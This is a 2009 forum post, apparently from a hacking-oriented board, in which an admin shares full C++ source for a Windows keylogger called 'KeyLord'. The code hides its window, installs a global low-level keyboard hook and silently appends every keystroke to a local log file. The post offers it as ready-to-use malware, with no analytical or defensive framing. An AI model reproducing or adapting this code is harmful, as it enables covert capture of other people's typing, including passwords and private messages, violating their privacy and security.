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    C++ keylogger

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    fondza [Admin]
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    Posts : 123
    Join date : 2009-10-03

    C++ keylogger

    Post by fondza [Admin] on Sat Oct 17, 2009 11:06 am

    Keylogger[C++]
    Code:
    #include "windows.h"

    #include "fstream.h"

    #include "iostream.h"

    /* Declare Windows procedure */

    LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);



    /* Make the class name into a global variable */

    char szClassName[ ] = "KeyLord";

    HHOOK kbhook;

    fstream file;

    int prev;

    int WINAPI WinMain (HINSTANCE hThisInstance,

    HINSTANCE hPrevInstance,

    LPSTR lpszArgument,

    int nFunsterStil)

    {

    HWND hwnd; /* This is the handle for our window */

    MSG messages; /* Here messages to the application are saved */

    WNDCLASSEX wincl; /* Data structure for the windowclass */



    /* The Window structure */

    wincl.hInstance = hThisInstance;

    wincl.lpszClassName = szClassName;

    wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */

    wincl.style = CS_DBLCLKS; /* Catch double-clicks */

    wincl.cbSize = sizeof (WNDCLASSEX);



    /* Use default icon and mouse-pointer */

    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);

    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);

    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);

    wincl.lpszMenuName = NULL; /* No menu */

    wincl.cbClsExtra = 0; /* No extra bytes after the window class */

    wincl.cbWndExtra = 0; /* structure or the window instance */

    /* Use Windows's default color as the background of the window */

    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;



    /* Register the window class, and if it fails quit the program */

    if (!RegisterClassEx (&wincl))

    return 0;



    /* The class is registered, let's create the program*/

    hwnd = CreateWindowEx (

    0, /* Extended possibilites for variation */

    szClassName, /* Classname */

    "KeyLord", /* Title Text */

    WS_OVERLAPPEDWINDOW, /* default window */

    CW_USEDEFAULT, /* Windows decides the position */

    CW_USEDEFAULT, /* where the window ends up on the screen */

    544, /* The programs width */

    375, /* and height in pixels */

    HWND_DESKTOP, /* The window is a child-window to desktop */

    NULL, /* No menu */

    hThisInstance, /* Program Instance handler */

    NULL /* No Window Creation data */

    );



    /* Make the window visible on the screen */

    // ShowWindow (hwnd, nFunsterStil);



    /* Run the message loop. It will run until GetMessage() returns 0 */

    while (GetMessage (&messages, NULL, 0, 0))

    {

    /* Translate virtual-key messages into character messages */

    TranslateMessage(&messages);

    /* Send message to WindowProcedure */

    DispatchMessage(&messages);

    }



    /* The program return-value is 0 - The value that PostQuitMessage() gave */

    return messages.wParam;

    }



    LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ){



    PKBDLLHOOKSTRUCT table = (PKBDLLHOOKSTRUCT)lParam;

    if (nCode==HC_ACTION & wParam==WM_KEYDOWN){

    switch(table->vkCode)

    {

    case 192:

    if(prev==192){



    UnhookWindowsHookEx(kbhook);

    PostQuitMessage(WM_QUIT);

    file.close();

    }

    break;

    default:

    file<<(char)table->vkCode<<" "<<table->vkCode<<endl;

    break;

    }

    prev=table->vkCode;

    }



    if (nCode < 0)

    {

    CallNextHookEx(kbhook,nCode,wParam,lParam);

    }



    return 0;

    }



    /* This function is called by the Windows function DispatchMessage() */



    LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)

    {

    switch (message) /* handle the messages */

    {

    case WM_CREATE:

    {

    file.open("log.txt",fstream::app|fstream::out);

    file<<"\n-------------------------------\n";

    kbhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);



    }

    break;

    case WM_CLOSE:

    UnhookWindowsHookEx(kbhook);

    file.close();

    break;

    case WM_DESTROY:

    UnhookWindowsHookEx(kbhook);

    file.close();

    PostQuitMessage (0); /* send a WM_QUIT to the message queue */

    break;

    default: /* for messages that we don't deal with */

    return DefWindowProc (hwnd, message, wParam, lParam);

    }



    return 0;

    }

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